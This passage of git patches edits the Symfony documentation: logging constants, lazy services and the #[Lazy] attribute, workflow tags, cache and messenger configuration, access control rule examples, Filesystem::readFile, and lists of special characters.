:class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp` - to redispatched messages was introduced in Symfony 6.4. - .. _`Memoizing`: https://en.wikipedia.org/wiki/Memoization .. _`cron command-line utility`: https://en.wikipedia.org/wiki/Cron .. _`crontab.guru website`: https://crontab.guru/ From 5cf0759d629afd9bd8976150ea6f2d36950cb1cf Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 14 Mar 2024 16:41:51 +0100 Subject: [PATCH 035/615] Minor tweak --- scheduler.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scheduler.rst b/scheduler.rst index d314b0c70c9..875f0059f6c 100644 --- a/scheduler.rst +++ b/scheduler.rst @@ -844,7 +844,7 @@ code:: The :class:`Symfony\\Component\\Scheduler\\Scheduler` may be used when using the Scheduler component as a standalone component. If - you are using it in the Framework context, it is highly recommended to + you are using it in the framework context, it is highly recommended to use the ``messenger:consume`` command as explained in the previous section. From 7789dfb43a0583c3db11f926ca87ecb8f7b54066 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 14 Mar 2024 16:46:02 +0100 Subject: [PATCH 036/615] [Scheduler] Readd a reference to not break existing links --- scheduler.rst | 2 ++ 1 file changed, 2 insertions(+) diff --git a/scheduler.rst b/scheduler.rst index 875f0059f6c..39644ff9c8e 100644 --- a/scheduler.rst +++ b/scheduler.rst @@ -782,6 +782,8 @@ and their priorities: The ``PreRunEvent``, ``PostRunEvent`` and ``FailureEvent`` events were introduced in Symfony 6.4. +.. _consuming-messages-running-the-worker: + Consuming Messages ------------------ From 6141e0211e764dd1f1b6ea3026d6908a7a54e2aa Mon Sep 17 00:00:00 2001 From: Thomas Landauer <thomas@landauer.at> Date: Thu, 14 Mar 2024 16:59:04 +0100 Subject: [PATCH 037/615] [Logger] Using LogLevel `const`s, Part 2 Page: https://symfony.com/doc/5.x/logging.html Remaining occurrences, as ancounced in https://github.com/symfony/symfony-docs/pull/19670 --- logging.rst | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/logging.rst b/logging.rst index 8b26cda9796..978bd57da28 100644 --- a/logging.rst +++ b/logging.rst @@ -163,7 +163,7 @@ to write logs using the :phpfunction:`syslog` function: ->type('stream') // log to var/logs/(environment).log ->path('%kernel.logs_dir%/%kernel.environment%.log') - // log *all* messages (debug is lowest level) + // log *all* messages (LogLevel::DEBUG is lowest level) ->level(LogLevel::DEBUG); $monolog->handler('syslog_handler') @@ -254,13 +254,14 @@ one of the messages reaches an ``action_level``. Take this example: .. code-block:: php // config/packages/prod/monolog.php + use Psr\Log\LogLevel; use Symfony\Config\MonologConfig; return static function (MonologConfig $monolog) { $monolog->handler('filter_for_errors') ->type('fingers_crossed') // if *one* log is error or higher, pass *all* to file_log - ->actionLevel('error') + ->actionLevel(LogLevel::ERROR) ->handler('file_log') ; @@ -268,17 +269,17 @@ one of the messages reaches an ``action_level``. Take this example: $monolog->handler('file_log') ->type('stream') ->path('%kernel.logs_dir%/%kernel.environment%.log') - ->level('debug') + ->level(LogLevel::DEBUG) ; // still passed *all* logs, and still only logs error or higher $monolog->handler('syslog_handler') ->type('syslog') - ->level('error') + ->level(LogLevel::ERROR) ; }; -Now, if even one log entry has an ``error`` level or higher, then *all* log entries +Now, if even one log entry has an ``LogLevel::ERROR`` level or higher, then *all* log entries for that request are saved to a file via the ``file_log`` handler. That means that your log file will contain *all* the details about the problematic request - making debugging much easier! @@ -349,13 +350,14 @@ option of your handler to ``rotating_file``: .. code-block:: php // config/packages/prod/monolog.php + use Psr\Log\LogLevel; use Symfony\Config\MonologConfig; return static function (MonologConfig $monolog) { $monolog->handler('main') ->type('rotating_file') ->path('%kernel.logs_dir%/%kernel.environment%.log') - ->level('debug') + ->level(LogLevel::DEBUG) // max number of log files to keep // defaults to zero, which means infinite files ->maxFiles(10); From c9654fb02023468042783c041fcefbaea2645e50 Mon Sep 17 00:00:00 2001 From: Ozan Akman <info@ozanakman.com.tr> Date: Tue, 6 Feb 2024 14:26:44 +0100 Subject: [PATCH 038/615] [DependencyInjection] Add readonly statement to the Lazy Services docs --- service_container/lazy_services.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst index 86cfc33749b..fb5af58d509 100644 --- a/service_container/lazy_services.rst +++ b/service_container/lazy_services.rst @@ -23,7 +23,7 @@ until you interact with the proxy in some way. .. caution:: - Lazy services do not support `final`_ classes, but you can use + Lazy services do not support `final`_ or `readonly` classes, but you can use `Interface Proxifying`_ to work around this limitation. In PHP versions prior to 8.0 lazy services do not support parameters with From 1c029ca350e22c991af52203978954e30e224ccd Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Fri, 15 Mar 2024 08:29:38 +0100 Subject: [PATCH 039/615] Minor syntax fix --- service_container/lazy_services.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst index fb5af58d509..38d2f2186f0 100644 --- a/service_container/lazy_services.rst +++ b/service_container/lazy_services.rst @@ -23,7 +23,7 @@ until you interact with the proxy in some way. .. caution:: - Lazy services do not support `final`_ or `readonly` classes, but you can use + Lazy services do not support `final`_ or ``readonly`` classes, but you can use `Interface Proxifying`_ to work around this limitation. In PHP versions prior to 8.0 lazy services do not support parameters with From e94de7a5672dc87baa021cacdd3d05abb6d5e5b5 Mon Sep 17 00:00:00 2001 From: Alexandre Daubois <alex.daubois@gmail.com> Date: Tue, 12 Mar 2024 10:04:12 +0100 Subject: [PATCH 040/615] [Workflow] Attach workflow configuration to tags --- service_container/tags.rst | 2 ++ workflow.rst | 13 +++++++++++++ 2 files changed, 15 insertions(+) diff --git a/service_container/tags.rst b/service_container/tags.rst index ca36bde74e1..1900ce28fb2 100644 --- a/service_container/tags.rst +++ b/service_container/tags.rst @@ -458,6 +458,8 @@ or from your kernel:: :ref:`components documentation <components-di-compiler-pass>` for more information. +.. _tags_additional-attributes: + Adding Additional Attributes on Tags ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ diff --git a/workflow.rst b/workflow.rst index 7e45c7693c1..4e85c10087d 100644 --- a/workflow.rst +++ b/workflow.rst @@ -366,6 +366,17 @@ name. * ``workflow.workflow``: all workflows; * ``workflow.state_machine``: all state machines. + Note that workflow metadata are attached to tags under the + ``metatdata`` key, giving you more context and information about the workflow + at disposal. You can learn more about + :ref:`tag attributes <tags_additional-attributes>` and + :ref:`storing workflow metadata <workflow_storing-metadata>` + in their dedicated sections. + + .. versionadded:: 7.1 + + The attached configuration to the tag was introduced in Symfony 7.1. + .. tip:: You can find the list of available workflow services with the @@ -1032,6 +1043,8 @@ The following example shows these functions in action: <span class="error">{{ blocker.message }}</span> {% endfor %} +.. _workflow_storing-metadata: + Storing Metadata ---------------- From 9b4ab999554fcb595da44b2a470e9d37af80517a Mon Sep 17 00:00:00 2001 From: Antoine Lamirault <lamiraultantoine@gmail.com> Date: Fri, 15 Mar 2024 19:12:36 +0100 Subject: [PATCH 041/615] Use Doctor RST 1.57.1 --- .doctor-rst.yaml | 2 ++ .github/workflows/ci.yaml | 2 +- 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml index 9e351a9a0e1..6e7b6e044cb 100644 --- a/.doctor-rst.yaml +++ b/.doctor-rst.yaml @@ -14,6 +14,8 @@ rules: ensure_bash_prompt_before_composer_command: ~ ensure_exactly_one_space_before_directive_type: ~ ensure_exactly_one_space_between_link_definition_and_link: ~ + ensure_github_directive_start_with_prefix: + prefix: 'Symfony' ensure_link_bottom: ~ ensure_link_definition_contains_valid_url: ~ ensure_order_of_code_blocks_in_configuration_block: ~ diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml index af2ea3a28a7..e93f8295b65 100644 --- a/.github/workflows/ci.yaml +++ b/.github/workflows/ci.yaml @@ -73,7 +73,7 @@ jobs: key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }} - name: "Run DOCtor-RST" - uses: docker://oskarstark/doctor-rst:1.54.0 + uses: docker://oskarstark/doctor-rst:1.57.1 with: args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache From 12559a1793fb6c9122febd14693c737a8808ef5d Mon Sep 17 00:00:00 2001 From: Michael Hirschler <michael@hirschler.me> Date: Fri, 15 Mar 2024 21:03:47 +0100 Subject: [PATCH 042/615] fixes async cache computation example and FQCN --- cache.rst | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/cache.rst b/cache.rst index 43d417c1738..5dd560a94cc 100644 --- a/cache.rst +++ b/cache.rst @@ -907,7 +907,7 @@ In the following example, the value is requested from a controller:: public function index(CacheInterface $asyncCache): Response { // pass to the cache the service method that refreshes the item - $cachedValue = $cache->get('my_value', [CacheComputation::class, 'compute']) + $cachedValue = $asyncCache->get('my_value', [CacheComputation::class, 'compute']) // ... } @@ -925,13 +925,13 @@ a message bus to compute values in a worker: cache: pools: async.cache: - early_expiration_message_bus: async_bus + early_expiration_message_bus: messenger.default_bus messenger: transports: async_bus: '%env(MESSENGER_TRANSPORT_DSN)%' routing: - Symfony\Component\Cache\Messenger\Message\EarlyExpirationMessage: async_bus + 'Symfony\Component\Cache\Messenger\EarlyExpirationMessage': async_bus .. code-block:: xml @@ -947,12 +947,12 @@ a message bus to compute values in a worker: > <framework:config> <framework:cache> - <framework:pool name="async.cache" early-expiration-message-bus="async_bus"/> + <framework:pool name="async.cache" early-expiration-message-bus="messenger.default_bus"/> </framework:cache> <framework:messenger> <framework:transport name="async_bus">%env(MESSENGER_TRANSPORT_DSN)%</framework:transport> - <framework:routing message-class="Symfony\Component\Cache\Messenger\Message\EarlyExpirationMessage"> + <framework:routing message-class="Symfony\Component\Cache\Messenger\EarlyExpirationMessage"> <framework:sender service="async_bus"/> </framework:routing> </framework:messenger> @@ -969,7 +969,7 @@ a message bus to compute values in a worker: return static function (FrameworkConfig $framework): void { $framework->cache() ->pool('async.cache') - ->earlyExpirationMessageBus('async_bus'); + ->earlyExpirationMessageBus('messenger.default_bus'); $framework->messenger() ->transport('async_bus') From 76241bda97b74d551f2e7fe9a704fc1db0b9c4cf Mon Sep 17 00:00:00 2001 From: Fabien Potencier <fabien@potencier.org> Date: Mon, 18 Mar 2024 09:22:32 +0100 Subject: [PATCH 043/615] Remove the report section --- contributing/code_of_conduct/care_team.rst | 9 --------- 1 file changed, 9 deletions(-) diff --git a/contributing/code_of_conduct/care_team.rst b/contributing/code_of_conduct/care_team.rst index 316131e5e8f..e061c0a0afe 100644 --- a/contributing/code_of_conduct/care_team.rst +++ b/contributing/code_of_conduct/care_team.rst @@ -58,12 +58,3 @@ The :doc:`Symfony project leader </contributing/code/core_team>` appoints the CA team with candidates they see fit. The CARE team will consist of at least 3 people. The team should be representing as many demographics as possible, ideally from different employers. - -CARE Team Transparency Reports ------------------------------- - -The CARE team publishes a transparency report at the end of each year: - -* `Symfony Code of Conduct Transparency Report 2018`_. - -.. _`Symfony Code of Conduct Transparency Report 2018`: https://symfony.com/blog/symfony-code-of-conduct-transparency-report-2018 From 7c2f917ae242abcd4c2bf27b47fac16443e15c4f Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Fri, 15 Mar 2024 11:24:20 +0100 Subject: [PATCH 044/615] [Security] Replace a complex table by a list --- security/access_control.rst | 70 +++++++++++++++++++++++-------------- 1 file changed, 43 insertions(+), 27 deletions(-) diff --git a/security/access_control.rst b/security/access_control.rst index b8a5f557286..c467a294f00 100644 --- a/security/access_control.rst +++ b/security/access_control.rst @@ -137,33 +137,49 @@ For each incoming request, Symfony will decide which ``access_control`` to use based on the URI, the client's IP address, the incoming host name, and the request method. Remember, the first rule that matches is used, and if ``ip``, ``port``, ``host`` or ``method`` are not specified for an entry, that -``access_control`` will match any ``ip``, ``port``, ``host`` or ``method``: - -+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+ -| URI | IP | PORT | HOST | METHOD | ``access_control`` | Why? | -+=================+=============+=============+=============+============+================================+=============================================================+ -| ``/admin/user`` | 127.0.0.1 | 80 | example.com | GET | rule #2 (``ROLE_USER_IP``) | The URI matches ``path`` and the IP matches ``ip``. | -+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+ -| ``/admin/user`` | 127.0.0.1 | 80 | symfony.com | GET | rule #2 (``ROLE_USER_IP``) | The ``path`` and ``ip`` still match. This would also match | -| | | | | | | the ``ROLE_USER_HOST`` entry, but *only* the **first** | -| | | | | | | ``access_control`` match is used. | -+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+ -| ``/admin/user`` | 127.0.0.1 | 8080 | symfony.com | GET | rule #1 (``ROLE_USER_PORT``) | The ``path``, ``ip`` and ``port`` match. | -+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+ -| ``/admin/user`` | 168.0.0.1 | 80 | symfony.com | GET | rule #3 (``ROLE_USER_HOST``) | The ``ip`` doesn't match neither the first rule nor the | -| | | | | | | second rule. So the third rule (which matches) is used. | -+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+ -| ``/admin/user`` | 168.0.0.1 | 80 | symfony.com | POST | rule #3 (``ROLE_USER_HOST``) | The third rule still matches. This would also match the | -| | | | | | | fourth rule (``ROLE_USER_METHOD``), but only the **first** | -| | | | | | | matched ``access_control`` is used. | -+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+ -| ``/admin/user`` | 168.0.0.1 | 80 | example.com | POST | rule #4 (``ROLE_USER_METHOD``) | The ``ip`` and ``host`` don't match the first three | -| | | | | | | entries, but the fourth - ``ROLE_USER_METHOD`` - matches | -| | | | | | | and is used. | -+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+ -| ``/foo`` | 127.0.0.1 | 80 | symfony.com | POST | matches no entries | This doesn't match any ``access_control`` rules, since its | -| | | | | | | URI doesn't match any of the ``path`` values. | -+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+ +``access_control`` will match any ``ip``, ``port``, ``host`` or ``method``. +See the following examples: + +Example #1: + * **URI** ``/admin/user`` + * **IP**: ``127.0.0.1``, **Port**: ``80``, **Host**: ``example.com``, **Method**: ``GET`` + * **Rule applied**: rule #2 (``ROLE_USER_IP``) + * **Why?** The URI matches ``path`` and the IP matches ``ip``. +Example #2: + * **URI** ``/admin/user`` + * **IP**: ``127.0.0.1``, **Port**: ``80``, **Host**: ``symfony.com``, **Method**: ``GET`` + * **Rule applied**: rule #2 (``ROLE_USER_IP``) + * **Why?** The ``path`` and ``ip`` still match. This would also match the + ``ROLE_USER_HOST`` entry, but *only* the **first** ``access_control`` match is used. +Example #3: + * **URI** ``/admin/user`` + * **IP**: ``127.0.0.1``, **Port**: ``8080``, **Host**: ``symfony.com``, **Method**: ``GET`` + * **Rule applied**: rule #1 (``ROLE_USER_PORT``) + * **Why?** The ``path``, ``ip`` and ``port`` match. +Example #4: + * **URI** ``/admin/user`` + * **IP**: ``168.0.0.1``, **Port**: ``80``, **Host**: ``symfony.com``, **Method**: ``GET`` + * **Rule applied**: rule #3 (``ROLE_USER_HOST``) + * **Why?** The ``ip`` doesn't match neither the first rule nor the second rule. + * So the third rule (which matches) is used. +Example #5: + * **URI** ``/admin/user`` + * **IP**: ``168.0.0.1``, **Port**: ``80``, **Host**: ``symfony.com``, **Method**: ``POST`` + * **Rule applied**: rule #3 (``ROLE_USER_HOST``) + * **Why?** The third rule still matches. This would also match the fourth rule + * (``ROLE_USER_METHOD``), but only the **first** matched ``access_control`` is used. +Example #6: + * **URI** ``/admin/user`` + * **IP**: ``168.0.0.1``, **Port**: ``80``, **Host**: ``example.com``, **Method**: ``POST`` + * **Rule applied**: rule #4 (``ROLE_USER_METHOD``) + * **Why?** The ``ip`` and ``host`` don't match the first three entries, but + * the fourth - ``ROLE_USER_METHOD`` - matches and is used. +Example #7: + * **URI** ``/foo`` + * **IP**: ``127.0.0.1``, **Port**: ``80``, **Host**: ``symfony.com``, **Method**: ``POST`` + * **Rule applied**: matches no entries + * **Why?** This doesn't match any ``access_control`` rules, since its URI + * doesn't match any of the ``path`` values. .. caution:: From 438031cfd908517c3ced245ff6a0e76ecc963bcc Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 18 Mar 2024 11:00:42 +0100 Subject: [PATCH 045/615] Tweaks --- workflow.rst | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/workflow.rst b/workflow.rst index 4e85c10087d..65c4f827a0f 100644 --- a/workflow.rst +++ b/workflow.rst @@ -366,12 +366,10 @@ name. * ``workflow.workflow``: all workflows; * ``workflow.state_machine``: all state machines. - Note that workflow metadata are attached to tags under the - ``metatdata`` key, giving you more context and information about the workflow - at disposal. You can learn more about - :ref:`tag attributes <tags_additional-attributes>` and - :ref:`storing workflow metadata <workflow_storing-metadata>` - in their dedicated sections. + Note that workflow metadata are attached to tags under the ``metadata`` key, + giving you more context and information about the workflow at disposal. + Learn more about :ref:`tag attributes <tags_additional-attributes>` and + :ref:`storing workflow metadata <workflow_storing-metadata>`. .. versionadded:: 7.1 From 742b2cceaeac7d7ef8ae47a21f9c6f597237a1cf Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 18 Mar 2024 17:30:13 +0100 Subject: [PATCH 046/615] [Filesystem] Document the readFile() method --- components/filesystem.rst | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/components/filesystem.rst b/components/filesystem.rst index 8cdc2a34884..dabf3f81872 100644 --- a/components/filesystem.rst +++ b/components/filesystem.rst @@ -313,6 +313,22 @@ contents at the end of some file:: If either the file or its containing directory doesn't exist, this method creates them before appending the contents. +``readFile`` +~~~~~~~~~~~~ + +.. versionadded:: 7.1 + + The ``readFile()`` method was introduced in Symfony 7.1. + +:method:`Symfony\\Component\\Filesystem\\Filesystem::readFile` returns all the +contents of a file as a string. Unlike the :phpfunction:`file_get_contents` function +from PHP, it throws an exception when the given file path is not readable and +when passing the path to a directory instead of a file:: + + $contents = $filesystem->readFile('/some/path/to/file.txt'); + +The ``$contents`` variable now stores all the contents of the ``file.txt`` file. + Path Manipulation Utilities --------------------------- From df4dafc7ad4e64118004713c92b07d73dc40b95a Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 19 Mar 2024 12:21:46 +0100 Subject: [PATCH 047/615] Minor tweaks --- frontend/encore/server-data.rst | 18 ++++++++++++------ 1 file changed, 12 insertions(+), 6 deletions(-) diff --git a/frontend/encore/server-data.rst b/frontend/encore/server-data.rst index 3feff856c52..479c4ec21c2 100644 --- a/frontend/encore/server-data.rst +++ b/frontend/encore/server-data.rst @@ -21,15 +21,21 @@ Fetch this in JavaScript: document.addEventListener('DOMContentLoaded', function() { const userRating = document.querySelector('.js-user-rating'); - const isAuthenticated = userRating.dataset.isAuthenticated; - const user = JSON.parse(userRating.dataset.user); + const isAuthenticated = userRating.getAttribute('data-is-authenticated'); + const user = JSON.parse(userRating.getAttribute('data-user')); }); .. note:: - When `accessing data attributes from JavaScript`_, the attribute names are - converted from dash-style to camelCase. For example, ``data-number-of-reviews`` becomes - ``dataset.numberOfReviews``. + If you prefer to `access data attributes via JavaScript's dataset property`_, + the attribute names are converted from dash-style to camelCase. For example, + ``data-number-of-reviews`` becomes ``dataset.numberOfReviews``: + + .. code-block:: javascript + + // ... + const isAuthenticated = userRating.dataset.isAuthenticated; + const user = JSON.parse(userRating.dataset.user); There is no size limit for the value of the ``data-*`` attributes, so you can store any content. In Twig, use the ``html_attr`` escaping strategy to avoid messing @@ -42,4 +48,4 @@ method that returns an array, you could do the following: <!-- ... --> </div> -.. _`accessing data attributes from JavaScript`: https://developer.mozilla.org/en-US/docs/Learn/HTML/Howto/Use_data_attributes +.. _`access data attributes via JavaScript's dataset property`: https://developer.mozilla.org/en-US/docs/Learn/HTML/Howto/Use_data_attributes From ea926df585dbde3849e94b758d024deddf15c1c2 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 19 Mar 2024 12:32:22 +0100 Subject: [PATCH 048/615] [Frontend] Move some page from Encore to Frontend --- _build/redirection_map | 1 + frontend.rst | 1 + frontend/encore/index.rst | 1 - frontend/{encore => }/server-data.rst | 0 4 files changed, 2 insertions(+), 1 deletion(-) rename frontend/{encore => }/server-data.rst (100%) diff --git a/_build/redirection_map b/_build/redirection_map index 90303a53d75..3ad55f95c73 100644 --- a/_build/redirection_map +++ b/_build/redirection_map @@ -565,3 +565,4 @@ /messenger/handler_results /messenger#messenger-getting-handler-results /messenger/dispatch_after_current_bus /messenger#messenger-transactional-messages /messenger/multiple_buses /messenger#messenger-multiple-buses +/frontend/encore/server-data /frontend/server-data diff --git a/frontend.rst b/frontend.rst index afc5edff8e3..519fe69e350 100644 --- a/frontend.rst +++ b/frontend.rst @@ -100,6 +100,7 @@ Other Front-End Articles * :doc:`/frontend/create_ux_bundle` * :doc:`/frontend/custom_version_strategy` +* :doc:`/frontend/server-data` .. _`Webpack Encore`: https://www.npmjs.com/package/@symfony/webpack-encore .. _`Webpack`: https://webpack.js.org/ diff --git a/frontend/encore/index.rst b/frontend/encore/index.rst index 8e1ecb9973d..80f08deffb6 100644 --- a/frontend/encore/index.rst +++ b/frontend/encore/index.rst @@ -35,7 +35,6 @@ Guides * :doc:`Using Bootstrap CSS & JS </frontend/encore/bootstrap>` * :doc:`jQuery and Legacy Applications </frontend/encore/legacy-applications>` -* :doc:`Passing Information from Twig to JavaScript </frontend/encore/server-data>` * :doc:`webpack-dev-server and Hot Module Replacement (HMR) </frontend/encore/dev-server>` * :doc:`Adding custom loaders & plugins </frontend/encore/custom-loaders-plugins>` * :doc:`Advanced Webpack Configuration </frontend/encore/advanced-config>` diff --git a/frontend/encore/server-data.rst b/frontend/server-data.rst similarity index 100% rename from frontend/encore/server-data.rst rename to frontend/server-data.rst From c62331d4d204df5f24b209087c2a6e9f466fe195 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Wed, 20 Mar 2024 08:22:45 +0100 Subject: [PATCH 049/615] Improve the formatting of the lists of special characters --- components/cache/cache_items.rst | 5 ++--- doctrine.rst | 2 +- mailer.rst | 2 +- notifier.rst | 6 +++--- reference/formats/yaml.rst | 20 +++++++++----------- 5 files changed, 16 insertions(+), 19 deletions(-) diff --git a/components/cache/cache_items.rst b/components/cache/cache_items.rst index 9f020a39de9..475a9c59367 100644 --- a/components/cache/cache_items.rst +++ b/components/cache/cache_items.rst @@ -12,9 +12,8 @@ Cache Item Keys and Values The **key** of a cache item is a plain string which acts as its identifier, so it must be unique for each cache pool. You can freely choose the keys, but they should only contain letters (A-Z, a-z), numbers (0-9) and the -``_`` and ``.`` symbols. Other common symbols (such as ``{``, ``}``, ``(``, -``)``, ``/``, ``\``, ``@`` and ``:``) are reserved by the PSR-6 standard for future -uses. +``_`` and ``.`` symbols. Other common symbols (such as ``{ } ( ) / \ @ :``) are +reserved by the PSR-6 standard for future uses. The **value** of a cache item can be any data represented by a type which is serializable by PHP, such as basic types (string, integer, float, boolean, null), diff --git a/doctrine.rst b/doctrine.rst index 03e4428db0b..c118a7c6280 100644 --- a/doctrine.rst +++ b/doctrine.rst @@ -61,7 +61,7 @@ The database connection information is stored as an environment variable called .. caution:: If the username, password, host or database name contain any character considered - special in a URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``, ``%``), + special in a URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must encode them. See `RFC 3986`_ for the full list of reserved characters or use the :phpfunction:`urlencode` function to encode them. In this case you need to remove the ``resolve:`` prefix in ``config/packages/doctrine.yaml`` to avoid errors: diff --git a/mailer.rst b/mailer.rst index 8f231be4520..17a8d97955b 100644 --- a/mailer.rst +++ b/mailer.rst @@ -64,7 +64,7 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``, .. caution:: If the username, password or host contain any character considered special in a - URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``), you must + URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must encode them. See `RFC 3986`_ for the full list of reserved characters or use the :phpfunction:`urlencode` function to encode them. diff --git a/notifier.rst b/notifier.rst index fe3f0ff0ea5..177d691c55a 100644 --- a/notifier.rst +++ b/notifier.rst @@ -50,7 +50,7 @@ SMS Channel .. caution:: If any of the DSN values contains any character considered special in a - URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``), you must + URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must encode them. See `RFC 3986`_ for the full list of reserved characters or use the :phpfunction:`urlencode` function to encode them. @@ -211,7 +211,7 @@ Chat Channel .. caution:: If any of the DSN values contains any character considered special in a - URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``), you must + URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must encode them. See `RFC 3986`_ for the full list of reserved characters or use the :phpfunction:`urlencode` function to encode them. @@ -415,7 +415,7 @@ Push Channel .. caution:: If any of the DSN values contains any character considered special in a - URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``), you must + URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must encode them. See `RFC 3986`_ for the full list of reserved characters or use the :phpfunction:`urlencode` function to encode them. diff --git a/reference/formats/yaml.rst b/reference/formats/yaml.rst index 8127bf43729..3c4bd104465 100644 --- a/reference/formats/yaml.rst +++ b/reference/formats/yaml.rst @@ -34,12 +34,10 @@ must be doubled to escape it: 'A single quote '' inside a single-quoted string' -Strings containing any of the following characters must be quoted. Although you -can use double quotes, for these characters it is more convenient to use single -quotes, which avoids having to escape any backslash ``\``: - -* ``:``, ``{``, ``}``, ``[``, ``]``, ``,``, ``&``, ``*``, ``#``, ``?``, ``|``, - ``-``, ``<``, ``>``, ``=``, ``!``, ``%``, ``@``, ````` +Strings containing any of the following characters must be quoted: +``: { } [ ] , & * # ? | - < > = ! % @`` Although you can use double quotes, for +these characters it is more convenient to use single quotes, which avoids having +to escape any backslash ``\``. The double-quoted style provides a way to express arbitrary strings, by using ``\`` to escape characters and sequences. For instance, it is very useful @@ -52,11 +50,11 @@ when you need to embed a ``\n`` or a Unicode character in a string. If the string contains any of the following control characters, it must be escaped with double quotes: -* ``\0``, ``\x01``, ``\x02``, ``\x03``, ``\x04``, ``\x05``, ``\x06``, ``\a``, - ``\b``, ``\t``, ``\n``, ``\v``, ``\f``, ``\r``, ``\x0e``, ``\x0f``, ``\x10``, - ``\x11``, ``\x12``, ``\x13``, ``\x14``, ``\x15``, ``\x16``, ``\x17``, ``\x18``, - ``\x19``, ``\x1a``, ``\e``, ``\x1c``, ``\x1d``, ``\x1e``, ``\x1f``, ``\N``, - ``\_``, ``\L``, ``\P`` +``\0``, ``\x01``, ``\x02``, ``\x03``, ``\x04``, ``\x05``, ``\x06``, ``\a``, +``\b``, ``\t``, ``\n``, ``\v``, ``\f``, ``\r``, ``\x0e``, ``\x0f``, ``\x10``, +``\x11``, ``\x12``, ``\x13``, ``\x14``, ``\x15``, ``\x16``, ``\x17``, ``\x18``, +``\x19``, ``\x1a``, ``\e``, ``\x1c``, ``\x1d``, ``\x1e``, ``\x1f``, ``\N``, +``\_``, ``\L``, ``\P`` Finally, there are other cases when the strings must be quoted, no matter if you're using single or double quotes: From 6f05767d02593ebf2d47cfced08fabee1e0763b3 Mon Sep 17 00:00:00 2001 From: Benjamin Zaslavsky <benjamin.zaslavsky@gmail.com> Date: Thu, 25 Jan 2024 09:54:48 +0100 Subject: [PATCH 050/615] [DependencyInjection] Add `#[Lazy]` attribute --- reference/attributes.rst | 1 + service_container/lazy_services.rst | 26 ++++++++++++++++++++++++++ 2 files changed, 27 insertions(+) diff --git a/reference/attributes.rst b/reference/attributes.rst index 08667e2a06f..015b8751834 100644 --- a/reference/attributes.rst +++ b/reference/attributes.rst @@ -37,6 +37,7 @@ Dependency Injection * :ref:`AutowireLocator <service-locator_autowire-locator>` * :ref:`AutowireServiceClosure <autowiring_closures>` * :ref:`Exclude <service-psr4-loader>` +* :ref:`Lazy <lazy-services_configuration>` * :ref:`TaggedIterator <tags_reference-tagged-services>` * :ref:`TaggedLocator <service-subscribers-locators_defining-service-locator>` * :ref:`Target <autowiring-multiple-implementations-same-type>` diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst index 46e939d4fac..4d21837e4ae 100644 --- a/service_container/lazy_services.rst +++ b/service_container/lazy_services.rst @@ -124,6 +124,32 @@ laziness, and supports lazy-autowiring of intersection types:: ) { } +Another possibility is to use the :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Lazy` attribute:: + + namespace App\Twig; + + use Symfony\Component\DependencyInjection\Attribute\Lazy; + use Twig\Extension\ExtensionInterface; + + #[Lazy] + class AppExtension implements ExtensionInterface + { + // ... + } + +This attribute can be used on a class or on a parameter which should be lazy-loaded, and has a parameter +that also supports defining interfaces to proxy and intersection types:: + + public function __construct( + #[Lazy(FooInterface::class)] + FooInterface|BarInterface $foo, + ) { + } + +.. versionadded:: 7.1 + + The ``#[Lazy]`` attribute was introduced in Symfony 7.1. + Interface Proxifying -------------------- From 